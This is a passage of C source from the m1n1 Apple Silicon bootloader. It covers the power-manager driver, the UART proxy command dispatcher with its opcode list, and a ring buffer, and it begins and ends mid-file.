flags; u16 parent[2]; u8 unk1[2]; u8 addr_offset; u8 psreg_idx; u8 unk2[14]; u16 id; u8 unk3[4]; const char name[0x10]; } PACKED; static int pmgr_initialized = 0; static int pmgr_path[8]; static int pmgr_offset; static int pmgr_dies; static const u32 *pmgr_ps_regs = NULL; static u32 pmgr_ps_regs_len = 0; static const struct pmgr_device *pmgr_devices = NULL; static u32 pmgr_devices_len = 0; static uintptr_t pmgr_get_psreg(u8 idx) { if (idx * 12 >= pmgr_ps_regs_len) { printf("pmgr: Index %d is out of bounds for ps-regs\n", idx); return 0; } u32 reg_idx = pmgr_ps_regs[3 * idx]; u32 reg_offset = pmgr_ps_regs[3 * idx + 1]; u64 pmgr_reg; if (adt_get_reg(adt, pmgr_path, "reg", reg_idx, &pmgr_reg, NULL) < 0) { printf("pmgr: Error getting /arm-io/pmgr regs\n"); return 0; } return pmgr_reg + reg_offset; } int pmgr_set_mode(uintptr_t addr, u8 target_mode) { mask32(addr, PMGR_PS_TARGET, FIELD_PREP(PMGR_PS_TARGET, target_mode)); if (poll32(addr, PMGR_PS_ACTUAL, FIELD_PREP(PMGR_PS_ACTUAL, target_mode), PMGR_POLL_TIMEOUT) < 0) { printf("pmgr: timeout while trying to set mode %x for device at 0x%lx: %x\n", target_mode, addr, read32(addr)); return -1; } return 0; } static int pmgr_find_device(u16 id, const struct pmgr_device **device) { for (size_t i = 0; i < pmgr_devices_len; ++i) { const struct pmgr_device *i_device = &pmgr_devices[i]; if (i_device->id != id) continue; *device = i_device; return 0; } return -1; } static uintptr_t pmgr_device_get_addr(u8 die, const struct pmgr_device *device) { uintptr_t addr = pmgr_get_psreg(device->psreg_idx); if (addr == 0) return 0; addr += PMGR_DIE_OFFSET * die; addr += (device->addr_offset << 3); return addr; } static int pmgr_set_mode_recursive(u8 die, u16 id, u8 target_mode, bool recurse) { if (!pmgr_initialized) { printf("pmgr: pmgr_set_mode_recursive() called before successful pmgr_init()\n"); return -1; } if (id == 0) return -1; const struct pmgr_device *device; if (pmgr_find_device(id, &device)) return -1; if (target_mode == 0 && !(device->flags & PMGR_FLAG_VIRTUAL)) { uintptr_t addr = pmgr_device_get_addr(die, device); if (!addr) return -1; if (pmgr_set_mode(addr, target_mode)) return -1; } if (recurse) for (int i = 0; i < 2; i++) { if (device->parent[i]) { u16 parent = FIELD_GET(PMGR_DEVICE_ID, device->parent[i]); int ret = pmgr_set_mode_recursive(die, parent, target_mode, true); if (ret < 0) return ret; } } if (target_mode != 0 && !(device->flags & PMGR_FLAG_VIRTUAL)) { uintptr_t addr = pmgr_device_get_addr(die, device); if (!addr) return -1; if (pmgr_set_mode(addr, target_mode)) return -1; } return 0; } int pmgr_power_enable(u32 id) { u16 device = FIELD_GET(PMGR_DEVICE_ID, id); u8 die = FIELD_GET(PMGR_DIE_ID, id); return pmgr_set_mode_recursive(die, device, PMGR_PS_ACTIVE, true); } int pmgr_power_disable(u32 id) { u16 device = FIELD_GET(PMGR_DEVICE_ID, id); u8 die = FIELD_GET(PMGR_DIE_ID, id); return pmgr_set_mode_recursive(die, device, PMGR_PS_PWRGATE, false); } static int pmgr_adt_find_devices(const char *path, const u32 **devices, u32 *n_devices) { int node_offset = adt_path_offset(adt, path); if (node_offset < 0) { printf("pmgr: Error getting node %s\n", path); return -1; } *devices = adt_getprop(adt, node_offset, "clock-gates", n_devices); if (*devices == NULL || *n_devices == 0) { printf("pmgr: Error getting %s clock-gates.\n", path); return -1; } *n_devices /= 4; return 0; } static int pmgr_adt_devices_set_mode(const char *path, u8 target_mode, int recurse) { const u32 *devices; u32 n_devices; int ret = 0; if (pmgr_adt_find_devices(path, &devices, &n_devices) < 0) return -1; for (u32 i = 0; i < n_devices; ++i) { u16 device = FIELD_GET(PMGR_DEVICE_ID, devices[i]); u8 die = FIELD_GET(PMGR_DIE_ID, devices[i]); if (pmgr_set_mode_recursive(die, device, target_mode, recurse)) ret = -1; } return ret; } static int pmgr_adt_device_set_mode(const char *path, u32 index, u8 target_mode, int recurse) { const u32 *devices; u32 n_devices; int ret = 0; if (pmgr_adt_find_devices(path, &devices, &n_devices) < 0) return -1; if (index >= n_devices) return -1; u16 device = FIELD_GET(PMGR_DEVICE_ID, devices[index]); u8 die = FIELD_GET(PMGR_DIE_ID, devices[index]); if (pmgr_set_mode_recursive(die, device, target_mode, recurse)) ret = -1; return ret; } int pmgr_adt_power_enable(const char *path) { int ret = pmgr_adt_devices_set_mode(path, PMGR_PS_ACTIVE, true); return ret; } int pmgr_adt_power_disable(const char *path) { return pmgr_adt_devices_set_mode(path, PMGR_PS_PWRGATE, false); } int pmgr_adt_power_enable_index(const char *path, u32 index) { int ret = pmgr_adt_device_set_mode(path, index, PMGR_PS_ACTIVE, true); return ret; } int pmgr_adt_power_disable_index(const char *path, u32 index) { return pmgr_adt_device_set_mode(path, index, PMGR_PS_PWRGATE, false); } static int pmgr_reset_device(int die, const struct pmgr_device *dev) { if (die < 0 || die > 16) { printf("pmgr: invalid die id %d for device %s\n", die, dev->name); return -1; } uintptr_t addr = pmgr_device_get_addr(die, dev); u32 reg = read32(addr); if (FIELD_GET(PMGR_PS_ACTUAL, reg) != PMGR_PS_ACTIVE) { printf("pmgr: will not reset disabled device %d.%s\n", die, dev->name); return -1; } printf("pmgr: resetting device %d.%s\n", die, dev->name); set32(addr, PMGR_DEV_DISABLE); set32(addr, PMGR_RESET); udelay(10); clear32(addr, PMGR_RESET); clear32(addr, PMGR_DEV_DISABLE); return 0; } int pmgr_adt_reset(const char *path) { const u32 *devices; u32 n_devices; int ret = 0; if (pmgr_adt_find_devices(path, &devices, &n_devices) < 0) return -1; for (u32 i = 0; i < n_devices; ++i) { const struct pmgr_device *device; u16 id = FIELD_GET(PMGR_DEVICE_ID, devices[i]); u8 die = FIELD_GET(PMGR_DIE_ID, devices[i]); if (pmgr_find_device(id, &device)) { ret = -1; continue; } if (pmgr_reset_device(die, device)) ret = -1; } return ret; } int pmgr_reset(int die, const char *name) { const struct pmgr_device *dev = NULL; for (unsigned int i = 0; i < pmgr_devices_len; ++i) { if (strncmp(pmgr_devices[i].name, name, 0x10) == 0) { dev = &pmgr_devices[i]; break; } } if (!dev) return -1; return pmgr_reset_device(die, dev); } int pmgr_init(void) { int node = adt_path_offset(adt, "/arm-io"); if (node < 0) { printf("pmgr: Error getting /arm-io node\n"); return -1; } if (ADT_GETPROP(adt, node, "die-count", &pmgr_dies) < 0) pmgr_dies = 1; pmgr_offset = adt_path_offset_trace(adt, "/arm-io/pmgr", pmgr_path); if (pmgr_offset < 0) { printf("pmgr: Error getting /arm-io/pmgr node\n"); return -1; } pmgr_ps_regs = adt_getprop(adt, pmgr_offset, "ps-regs", &pmgr_ps_regs_len); if (pmgr_ps_regs == NULL || pmgr_ps_regs_len == 0) { printf("pmgr: Error getting /arm-io/pmgr ps-regs\n."); return -1; } pmgr_devices = adt_getprop(adt, pmgr_offset, "devices", &pmgr_devices_len); if (pmgr_devices == NULL || pmgr_devices_len == 0) { printf("pmgr: Error getting /arm-io/pmgr devices.\n"); return -1; } pmgr_devices_len /= sizeof(*pmgr_devices); pmgr_initialized = 1; printf("pmgr: Cleaning up device states...\n"); for (u8 die = 0; die < pmgr_dies; ++die) { for (size_t i = 0; i < pmgr_devices_len; ++i) { const struct pmgr_device *device = &pmgr_devices[i]; if ((device->flags & PMGR_FLAG_VIRTUAL)) continue; uintptr_t addr = pmgr_device_get_addr(die, device); if (!addr) continue; u32 reg = read32(addr); if (reg & PMGR_AUTO_ENABLE || FIELD_GET(PMGR_PS_TARGET, reg) == PMGR_PS_ACTIVE) { for (int j = 0; j < 2; j++) { if (device->parent[j]) { const struct pmgr_device *pdevice; if (pmgr_find_device(device->parent[j], &pdevice)) { printf("pmgr: Failed to find parent #%d for %s\n", device->parent[j], device->name); continue; } if ((pdevice->flags & PMGR_FLAG_VIRTUAL)) continue; addr = pmgr_device_get_addr(die, pdevice); if (!addr) continue; reg = read32(addr); if (!(reg & PMGR_AUTO_ENABLE) && FIELD_GET(PMGR_PS_TARGET, reg) != PMGR_PS_ACTIVE) { printf("pmgr: Enabling %d.%s, parent of active device %s\n", die, pdevice->name, device->name); pmgr_set_mode(addr, PMGR_PS_ACTIVE); } } } } } } printf("pmgr: initialized, %d devices on %u dies found.\n", pmgr_devices_len, pmgr_dies); return 0; } u32 pmgr_get_feature(const char *name) { u32 val = 0; int node = adt_path_offset(adt, "/arm-io/pmgr"); if (node < 0) return 0; if (ADT_GETPROP(adt, node, name, &val) < 0) return 0; return val; } m1n1-1.4.11/src/pmgr.h000066400000000000000000000014051453754430200142660ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef PMGR_H #define PMGR_H #include "types.h" #define PMGR_DIE_OFFSET 0x2000000000 #define PMGR_DEVICE_ID GENMASK(15, 0) #define PMGR_DIE_ID GENMASK(31, 28) #define PMGR_PS_ACTIVE 0xf #define PMGR_PS_CLKGATE 0x4 #define PMGR_PS_PWRGATE 0x0 int pmgr_init(void); int pmgr_power_enable(u32 id); int pmgr_power_disable(u32 id); int pmgr_adt_power_enable(const char *path); int pmgr_adt_power_disable(const char *path); int pmgr_adt_power_enable_index(const char *path, u32 index); int pmgr_adt_power_disable_index(const char *path, u32 index); int pmgr_adt_reset(const char *path); int pmgr_reset(int die, const char *name); int pmgr_set_mode(uintptr_t addr, u8 target_mode); u32 pmgr_get_feature(const char *name); #endif m1n1-1.4.11/src/proxy.c000066400000000000000000000514431453754430200145040ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "proxy.h" #include "cpufreq.h" #include "dapf.h" #include "dart.h" #include "display.h" #include "exception.h" #include "fb.h" #include "gxf.h" #include "heapblock.h" #include "hv.h" #include "iodev.h" #include "kboot.h" #include "malloc.h" #include "mcc.h" #include "memory.h" #include "nvme.h" #include "pcie.h" #include "pmgr.h" #include "smp.h" #include "string.h" #include "tunables.h" #include "types.h" #include "uart.h" #include "uartproxy.h" #include "usb.h" #include "utils.h" #include "xnuboot.h" #include "minilzlib/minlzma.h" #include "tinf/tinf.h" int proxy_process(ProxyRequest *request, ProxyReply *reply) { enum exc_guard_t guard_save = exc_guard; reply->opcode = request->opcode; reply->status = S_OK; reply->retval = 0; switch (request->opcode) { case P_NOP: break; case P_EXIT: if (request->args[0]) return request->args[0]; return 1; case P_CALL: { generic_func *f = (generic_func *)request->args[0]; reply->retval = f(request->args[1], request->args[2], request->args[3], request->args[4], request->args[5]); break; } case P_GET_BOOTARGS: reply->retval = boot_args_addr; break; case P_GET_BASE: reply->retval = (u64)_base; break; case P_SET_BAUD: { int cnt = request->args[1]; printf("Changing baud rate to %lu...\n", request->args[0]); uart_setbaud(request->args[0]); while (cnt--) { uart_putbyte(request->args[2]); uart_putbyte(request->args[2] >> 8); uart_putbyte(request->args[2] >> 16); uart_putbyte(request->args[2] >> 24); } break; } case P_UDELAY: udelay(request->args[0]); break; case P_SET_EXC_GUARD: exc_count = 0; guard_save = request->args[0]; break; case P_GET_EXC_COUNT: reply->retval = exc_count; exc_count = 0; break; case P_EL0_CALL: reply->retval = el0_call((void *)request->args[0], request->args[1], request->args[2], request->args[3], request->args[4]); break; case P_EL1_CALL: reply->retval = el1_call((void *)request->args[0], request->args[1], request->args[2], request->args[3], request->args[4]); break; case P_VECTOR: // forcefully restore tps6598x IRQs usb_hpm_restore_irqs(1); iodev_console_flush(); next_stage.entry = (generic_func *)request->args[0]; memcpy(next_stage.args, &request->args[1], 5 * sizeof(u64)); next_stage.restore_logo = true; return 1; case P_GL1_CALL: reply->retval = gl1_call((void *)request->args[0], request->args[1], request->args[2], request->args[3], request->args[4]); break; case P_GL2_CALL: reply->retval = gl2_call((void *)request->args[0], request->args[1], request->args[2], request->args[3], request->args[4]); break; case P_GET_SIMD_STATE: get_simd_state((void *)request->args[0]); break; case P_PUT_SIMD_STATE: put_simd_state((void *)request->args[0]); break; case P_REBOOT: reboot(); break; case P_SLEEP: cpu_sleep(request->args[0]); break; case P_WRITE64: exc_guard = GUARD_SKIP; write64(request->args[0], request->args[1]); break; case P_WRITE32: exc_guard = GUARD_SKIP; write32(request->args[0], request->args[1]); break; case P_WRITE16: exc_guard = GUARD_SKIP; write16(request->args[0], request->args[1]); break; case P_WRITE8: exc_guard = GUARD_SKIP; write8(request->args[0], request->args[1]); break; case P_READ64: exc_guard = GUARD_MARK; reply->retval = read64(request->args[0]); break; case P_READ32: exc_guard = GUARD_MARK; reply->retval = read32(request->args[0]); break; case P_READ16: exc_guard = GUARD_MARK; reply->retval = read16(request->args[0]); break; case P_READ8: exc_guard = GUARD_MARK; reply->retval = read8(request->args[0]); break; case P_SET64: exc_guard = GUARD_MARK; reply->retval = set64(request->args[0], request->args[1]); break; case P_SET32: exc_guard = GUARD_MARK; reply->retval = set32(request->args[0], request->args[1]); break; case P_SET16: exc_guard = GUARD_MARK; reply->retval = set16(request->args[0], request->args[1]); break; case P_SET8: exc_guard = GUARD_MARK; reply->retval = set8(request->args[0], request->args[1]); break; case P_CLEAR64: exc_guard = GUARD_MARK; reply->retval = clear64(request->args[0], request->args[1]); break; case P_CLEAR32: exc_guard = GUARD_MARK; reply->retval = clear32(request->args[0], request->args[1]); break; case P_CLEAR16: exc_guard = GUARD_MARK; reply->retval = clear16(request->args[0], request->args[1]); break; case P_CLEAR8: exc_guard = GUARD_MARK; reply->retval = clear8(request->args[0], request->args[1]); break; case P_MASK64: exc_guard = GUARD_MARK; reply->retval = mask64(request->args[0], request->args[1], request->args[2]); break; case P_MASK32: exc_guard = GUARD_MARK; reply->retval = mask32(request->args[0], request->args[1], request->args[2]); break; case P_MASK16: exc_guard = GUARD_MARK; reply->retval = mask16(request->args[0], request->args[1], request->args[2]); break; case P_MASK8: exc_guard = GUARD_MARK; reply->retval = mask8(request->args[0], request->args[1], request->args[2]); break; case P_WRITEREAD64: exc_guard = GUARD_MARK; reply->retval = writeread64(request->args[0], request->args[1]); break; case P_WRITEREAD32: exc_guard = GUARD_MARK; reply->retval = writeread32(request->args[0], request->args[1]); break; case P_WRITEREAD16: exc_guard = GUARD_MARK; reply->retval = writeread16(request->args[0], request->args[1]); break; case P_WRITEREAD8: exc_guard = GUARD_MARK; reply->retval = writeread8(request->args[0], request->args[1]); break; case P_MEMCPY64: exc_guard = GUARD_RETURN; memcpy64((void *)request->args[0], (void *)request->args[1], request->args[2]); break; case P_MEMCPY32: exc_guard = GUARD_RETURN; memcpy32((void *)request->args[0], (void *)request->args[1], request->args[2]); break; case P_MEMCPY16: exc_guard = GUARD_RETURN; memcpy16((void *)request->args[0], (void *)request->args[1], request->args[2]); break; case P_MEMCPY8: exc_guard = GUARD_RETURN; memcpy8((void *)request->args[0], (void *)request->args[1], request->args[2]); break; case P_MEMSET64: exc_guard = GUARD_RETURN; memset64((void *)request->args[0], request->args[1], request->args[2]); break; case P_MEMSET32: exc_guard = GUARD_RETURN; memset32((void *)request->args[0], request->args[1], request->args[2]); break; case P_MEMSET16: exc_guard = GUARD_RETURN; memset16((void *)request->args[0], request->args[1], request->args[2]); break; case P_MEMSET8: exc_guard = GUARD_RETURN; memset8((void *)request->args[0], request->args[1], request->args[2]); break; case P_IC_IALLUIS: ic_ialluis(); break; case P_IC_IALLU: ic_iallu(); break; case P_IC_IVAU: ic_ivau_range((void *)request->args[0], request->args[1]); break; case P_DC_IVAC: dc_ivac_range((void *)request->args[0], request->args[1]); break; case P_DC_ISW: dc_isw((void *)request->args[0]); break; case P_DC_CSW: dc_csw((void *)request->args[0]); break; case P_DC_CISW: dc_cisw((void *)request->args[0]); break; case P_DC_ZVA: dc_zva_range((void *)request->args[0], request->args[1]); break; case P_DC_CVAC: dc_cvac_range((void *)request->args[0], request->args[1]); break; case P_DC_CVAU: dc_cvau_range((void *)request->args[0], request->args[1]); break; case P_DC_CIVAC: dc_civac_range((void *)request->args[0], request->args[1]); break; case P_MMU_SHUTDOWN: mmu_shutdown(); break; case P_MMU_INIT: mmu_init(); break; case P_MMU_DISABLE: reply->retval = mmu_disable(); break; case P_MMU_RESTORE: mmu_restore(request->args[0]); break; case P_MMU_INIT_SECONDARY: mmu_init_secondary(request->args[0]); break; case P_XZDEC: { uint32_t destlen, srclen; destlen = request->args[3]; srclen = request->args[1]; if (XzDecode((void *)request->args[0], &srclen, (void *)request->args[2], &destlen)) reply->retval = destlen; else reply->retval = ~0L; break; } case P_GZDEC: { unsigned int destlen, srclen; destlen = request->args[3]; srclen = request->args[1]; size_t ret = tinf_gzip_uncompress((void *)request->args[2], &destlen, (void *)request->args[0], &srclen); if (ret != TINF_OK) reply->retval = ret; else reply->retval = destlen; break; } case P_SMP_START_SECONDARIES: smp_start_secondaries(); break; case P_SMP_STOP_SECONDARIES: smp_stop_secondaries(request->args[0]); break; case P_SMP_CALL: smp_call4(request->args[0], (void *)request->args[1], request->args[2], request->args[3], request->args[4], request->args[5]); break; case P_SMP_CALL_SYNC: smp_call4(request->args[0], (void *)request->args[1], request->args[2], request->args[3], request->args[4], request->args[5]); reply->retval = smp_wait(request->args[0]); break; case P_SMP_WAIT: reply->retval = smp_wait(request->args[0]); break; case P_SMP_SET_WFE_MODE: smp_set_wfe_mode(request->args[0]); break; case P_SMP_IS_ALIVE: reply->retval = smp_is_alive(request->args[0]); break; case P_SMP_CALL_EL1: smp_call4(request->args[0], el1_call, request->args[1], request->args[2], request->args[3], request->args[4]); break; case P_SMP_CALL_EL1_SYNC: smp_call4(request->args[0], el1_call, request->args[1], request->args[2], request->args[3], request->args[4]); reply->retval = smp_wait(request->args[0]); break; case P_HEAPBLOCK_ALLOC: reply->retval = (u64)heapblock_alloc(request->args[0]); break; case P_MALLOC: reply->retval = (u64)malloc(request->args[0]); break; case P_MEMALIGN: reply->retval = (u64)memalign(request->args[0], request->args[1]); break; case P_FREE: free((void *)request->args[0]); break; case P_KBOOT_BOOT: if (kboot_boot((void *)request->args[0]) == 0) return 1; break; case P_KBOOT_SET_CHOSEN: reply->retval = kboot_set_chosen((void *)request->args[0], (void *)request->args[1]); break; case P_KBOOT_SET_INITRD: kboot_set_initrd((void *)request->args[0], request->args[1]); break; case P_KBOOT_PREPARE_DT: reply->retval = kboot_prepare_dt((void *)request->args[0]); break; case P_PMGR_POWER_ENABLE: reply->retval = pmgr_power_enable(request->args[0]); break; case P_PMGR_POWER_DISABLE: reply->retval = pmgr_power_enable(request->args[0]); break; case P_PMGR_ADT_POWER_ENABLE: reply->retval = pmgr_adt_power_enable((const char *)request->args[0]); break; case P_PMGR_ADT_POWER_DISABLE: reply->retval = pmgr_adt_power_disable((const char *)request->args[0]); break; case P_PMGR_RESET: reply->retval = pmgr_reset(request->args[0], (const char *)request->args[1]); break; case P_IODEV_SET_USAGE: iodev_set_usage(request->args[0], request->args[1]); break; case P_IODEV_CAN_READ: reply->retval = iodev_can_read(request->args[0]); break; case P_IODEV_CAN_WRITE: reply->retval = iodev_can_write(request->args[0]); break; case P_IODEV_READ: reply->retval = iodev_read(request->args[0], (void *)request->args[1], request->args[2]); break; case P_IODEV_WRITE: reply->retval = iodev_write(request->args[0], (void *)request->args[1], request->args[2]); break; case P_IODEV_WHOAMI: reply->retval = uartproxy_iodev; break; case P_USB_IODEV_VUART_SETUP: usb_iodev_vuart_setup(request->args[0]); break; case P_TUNABLES_APPLY_GLOBAL: reply->retval = tunables_apply_global((const char *)request->args[0], (const char *)request->args[1]); break; case P_TUNABLES_APPLY_LOCAL: reply->retval = tunables_apply_local((const char *)request->args[0], (const char *)request->args[1], request->args[2]); break; case P_TUNABLES_APPLY_LOCAL_ADDR: reply->retval = tunables_apply_local_addr( (const char *)request->args[0], (const char *)request->args[1], request->args[2]); break; case P_DART_INIT: reply->retval = (u64)dart_init(request->args[0], request->args[1], request->args[2], request->args[3]); break; case P_DART_SHUTDOWN: dart_shutdown((dart_dev_t *)request->args[0]); break; case P_DART_MAP: reply->retval = dart_map((dart_dev_t *)request->args[0], request->args[1], (void *)request->args[2], request->args[3]); break; case P_DART_UNMAP: dart_unmap((dart_dev_t *)request->args[0], request->args[1], request->args[2]); break; case P_HV_INIT: hv_init(); break; case P_HV_MAP: hv_map(request->args[0], request->args[1], request->args[2], request->args[3]); break; case P_HV_START: hv_start((void *)request->args[0], &request->args[1]); break; case P_HV_TRANSLATE: reply->retval = hv_translate(request->args[0], request->args[1], request->args[2], (void *)request->args[3]); break; case P_HV_PT_WALK: reply->retval = hv_pt_walk(request->args[0]); break; case P_HV_MAP_VUART: hv_map_vuart(request->args[0], request->args[1], request->args[2]); break; case P_HV_MAP_VIRTIO: hv_map_virtio(request->args[0], (void *)request->args[1]); break; case P_VIRTIO_PUT_BUFFER: virtio_put_buffer(request->args[0], request->args[1], request->args[2], request->args[3]); break; case P_HV_TRACE_IRQ: reply->retval = hv_trace_irq(request->args[0], request->args[1], request->args[2], request->args[3]); break; case P_HV_WDT_START: hv_wdt_start(request->args[0]); break; case P_HV_START_SECONDARY: hv_start_secondary(request->args[0], (void *)request->args[1], &request->args[2]); break; case P_HV_SWITCH_CPU: reply->retval = hv_switch_cpu(request->args[0]); break; case P_HV_SET_TIME_STEALING: hv_set_time_stealing(request->args[0], request->args[1]); break; case P_HV_PIN_CPU: hv_pin_cpu(request->args[0]); break; case P_HV_WRITE_HCR: hv_write_hcr(request->args[0]); break; case P_HV_EXIT_CPU: hv_exit_cpu(request->args[0]); break; case P_HV_ADD_TIME: hv_add_time(request->args[0]); break; case P_FB_INIT: fb_init(request->args[0]); break; case P_FB_SHUTDOWN: fb_shutdown(request->args[0]); break; case P_FB_BLIT: // HACK: Running out of args, stash pix fmt in high bits of stride... fb_blit(request->args[0], request->args[1], request->args[2], request->args[3], (void *)request->args[4], (u32)request->args[5], request->args[5] >> 32); break; case P_FB_UNBLIT: fb_unblit(request->args[0], request->args[1], request->args[2], request->args[3], (void *)request->args[4], request->args[5]); break; case P_FB_FILL: fb_fill(request->args[0], request->args[1], request->args[2], request->args[3], int2rgb(request->args[4])); break; case P_FB_CLEAR: fb_clear(int2rgb(request->args[0])); break; case P_FB_DISPLAY_LOGO: fb_display_logo(); break; case P_FB_RESTORE_LOGO: fb_restore_logo(); break; case P_FB_IMPROVE_LOGO: fb_improve_logo(); break; case P_PCIE_INIT: pcie_init(); break; case P_PCIE_SHUTDOWN: pcie_shutdown(); break; case P_NVME_INIT: reply->retval = nvme_init(); break; case P_NVME_SHUTDOWN: nvme_shutdown(); break; case P_NVME_READ: reply->retval = nvme_read(request->args[0], request->args[1], (void *)request->args[2]); break; case P_NVME_FLUSH: reply->retval = nvme_flush(request->args[0]); break; case P_MCC_GET_CARVEOUTS: reply->retval = (u64)mcc_carveouts; break; case P_DISPLAY_INIT: reply->retval = display_init(); break; case P_DISPLAY_CONFIGURE: reply->retval = display_configure((char *)request->args[0]); break; case P_DISPLAY_SHUTDOWN: display_shutdown(request->args[0]); break; case P_DISPLAY_START_DCP: display_start_dcp(); break; case P_DISPLAY_IS_EXTERNAL: reply->retval = display_is_external; break; case P_DAPF_INIT_ALL: reply->retval = dapf_init_all(); break; case P_DAPF_INIT: reply->retval = dapf_init((const char *)request->args[0], 1); break; case P_CPUFREQ_INIT: reply->retval = cpufreq_init(); break; default: reply->status = S_BADCMD; break; } sysop("dsb sy"); sysop("isb"); exc_guard = guard_save; return 0; } m1n1-1.4.11/src/proxy.h000066400000000000000000000066711453754430200145140ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef __PROXY_H__ #define __PROXY_H__ #include "types.h" typedef enum { P_NOP = 0x000, // System functions P_EXIT, P_CALL, P_GET_BOOTARGS, P_GET_BASE, P_SET_BAUD, P_UDELAY, P_SET_EXC_GUARD, P_GET_EXC_COUNT, P_EL0_CALL, P_EL1_CALL, P_VECTOR, P_GL1_CALL, P_GL2_CALL, P_GET_SIMD_STATE, P_PUT_SIMD_STATE, P_REBOOT, P_SLEEP, P_WRITE64 = 0x100, // Generic register functions P_WRITE32, P_WRITE16, P_WRITE8, P_READ64, P_READ32, P_READ16, P_READ8, P_SET64, P_SET32, P_SET16, P_SET8, P_CLEAR64, P_CLEAR32, P_CLEAR16, P_CLEAR8, P_MASK64, P_MASK32, P_MASK16, P_MASK8, P_WRITEREAD64, P_WRITEREAD32, P_WRITEREAD16, P_WRITEREAD8, P_MEMCPY64 = 0x200, // Memory block transfer functions P_MEMCPY32, P_MEMCPY16, P_MEMCPY8, P_MEMSET64, P_MEMSET32, P_MEMSET16, P_MEMSET8, P_IC_IALLUIS = 0x300, // Cache and memory ops P_IC_IALLU, P_IC_IVAU, P_DC_IVAC, P_DC_ISW, P_DC_CSW, P_DC_CISW, P_DC_ZVA, P_DC_CVAC, P_DC_CVAU, P_DC_CIVAC, P_MMU_SHUTDOWN, P_MMU_INIT, P_MMU_DISABLE, P_MMU_RESTORE, P_MMU_INIT_SECONDARY, P_XZDEC = 0x400, // Decompression and data processing ops P_GZDEC, P_SMP_START_SECONDARIES = 0x500, // SMP and system management ops P_SMP_CALL, P_SMP_CALL_SYNC, P_SMP_WAIT, P_SMP_SET_WFE_MODE, P_SMP_IS_ALIVE, P_SMP_STOP_SECONDARIES, P_SMP_CALL_EL1, P_SMP_CALL_EL1_SYNC, P_HEAPBLOCK_ALLOC = 0x600, // Heap and memory management ops P_MALLOC, P_MEMALIGN, P_FREE, P_KBOOT_BOOT = 0x700, // Kernel boot ops P_KBOOT_SET_CHOSEN, P_KBOOT_SET_INITRD, P_KBOOT_PREPARE_DT, P_PMGR_POWER_ENABLE = 0x800, // power/clock management ops P_PMGR_POWER_DISABLE, P_PMGR_ADT_POWER_ENABLE, P_PMGR_ADT_POWER_DISABLE, P_PMGR_RESET, P_IODEV_SET_USAGE = 0x900, P_IODEV_CAN_READ, P_IODEV_CAN_WRITE, P_IODEV_READ, P_IODEV_WRITE, P_IODEV_WHOAMI, P_USB_IODEV_VUART_SETUP, P_TUNABLES_APPLY_GLOBAL = 0xa00, P_TUNABLES_APPLY_LOCAL, P_TUNABLES_APPLY_LOCAL_ADDR, P_DART_INIT = 0xb00, P_DART_SHUTDOWN, P_DART_MAP, P_DART_UNMAP, P_HV_INIT = 0xc00, P_HV_MAP, P_HV_START, P_HV_TRANSLATE, P_HV_PT_WALK, P_HV_MAP_VUART, P_HV_TRACE_IRQ, P_HV_WDT_START, P_HV_START_SECONDARY, P_HV_SWITCH_CPU, P_HV_SET_TIME_STEALING, P_HV_PIN_CPU, P_HV_WRITE_HCR, P_HV_MAP_VIRTIO, P_VIRTIO_PUT_BUFFER, P_HV_EXIT_CPU, P_HV_ADD_TIME, P_FB_INIT = 0xd00, P_FB_SHUTDOWN, P_FB_BLIT, P_FB_UNBLIT, P_FB_FILL, P_FB_CLEAR, P_FB_DISPLAY_LOGO, P_FB_RESTORE_LOGO, P_FB_IMPROVE_LOGO, P_PCIE_INIT = 0xe00, P_PCIE_SHUTDOWN, P_NVME_INIT = 0xf00, P_NVME_SHUTDOWN, P_NVME_READ, P_NVME_FLUSH, P_MCC_GET_CARVEOUTS = 0x1000, P_DISPLAY_INIT = 0x1100, P_DISPLAY_CONFIGURE, P_DISPLAY_SHUTDOWN, P_DISPLAY_START_DCP, P_DISPLAY_IS_EXTERNAL, P_DAPF_INIT_ALL = 0x1200, P_DAPF_INIT, P_CPUFREQ_INIT = 0x1300, } ProxyOp; #define S_OK 0 #define S_BADCMD -1 typedef struct { u64 opcode; u64 args[6]; } ProxyRequest; typedef struct { u64 opcode; s64 status; u64 retval; } ProxyReply; int proxy_process(ProxyRequest *request, ProxyReply *reply); #endif m1n1-1.4.11/src/ringbuffer.c000066400000000000000000000026461453754430200154550ustar00rootroot00000000000000#include "ringbuffer.h" #include "malloc.h" #include "types.h" ringbuffer_t *ringbuffer_alloc(size_t len) { ringbuffer_t *bfr = calloc(1, sizeof(*bfr)); if (!bfr) return NULL; bfr->buffer = calloc(len, 1); if (!bfr->buffer) { free(bfr); return NULL; } bfr->read = 0; bfr->write = 0; bfr->len = len; return bfr; } void ringbuffer_free(ringbuffer_t *bfr) { if (bfr) free(bfr->buffer); free(bfr); } size_t ringbuffer_read(u8 *target, size_t len, ringbuffer_t *bfr) { size_t read; for (read = 0; read < len; ++read) { if (bfr->read == bfr->write) break; *target = bfr->buffer[bfr->read]; target++; bfr->read++; bfr->read %= bfr->len; } return read; } size_t ringbuffer_write(const u8 *src, size_t len, ringbuffer_t *bfr) { size_t written; for (written = 0; written < len; ++written) { if (((bfr->write + 1) % bfr->len) == bfr->read) break; bfr->buffer[bfr->write] = *src; src++; bfr->write++; bfr->write %= bfr->len; } return written; } size_t ringbuffer_get_used(ringbuffer_t *bfr) { size_t read = bfr->read; size_t write = bfr->write; if (write < read) write += bfr->len; return write - read; } size_t ringbuffer_get_free(ringbuffer_t *bfr) { return bfr->len - ringbuffer_get_used(bfr); } m1n1-1.4.11/src/ringbuffer.h000066400000000000000000000007531453754430200154570ustar00rootroot00000000000000#ifndef RINGBUFFER_H #define RINGBUFFER_H #include "types.h" typedef struct { u8 *buffer; size_t len; size_t read; size_t write; } ringbuffer_t; ringbuffer_t *ringbuffer_alloc(size_t len); void ringbuffer_free(ringbuffer_t *bfr); size_t ringbuffer_read(u8 *target, size_t len, ringbuffer_t *bfr); size_t ringbuffer_write(const u8 *src, size_t len, ringbuffer_t *bfr); size_t ringbuffer_get_used(ringbuffer_t *bfr); size_t ringbuffer_get_free(ringbuffer_t *bfr); #endif m1n1-1.4.11/src/rtkit.c000066400000000000000000000517541453754430200144650ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "../config.h" #include "rtkit.h" #include "adt.h" #include "asc.h" #include "dart.h" #include "iova.h" #include "malloc.h" #include "sart.h" #include "string.h" #include "types.h" #include "utils.h" #define 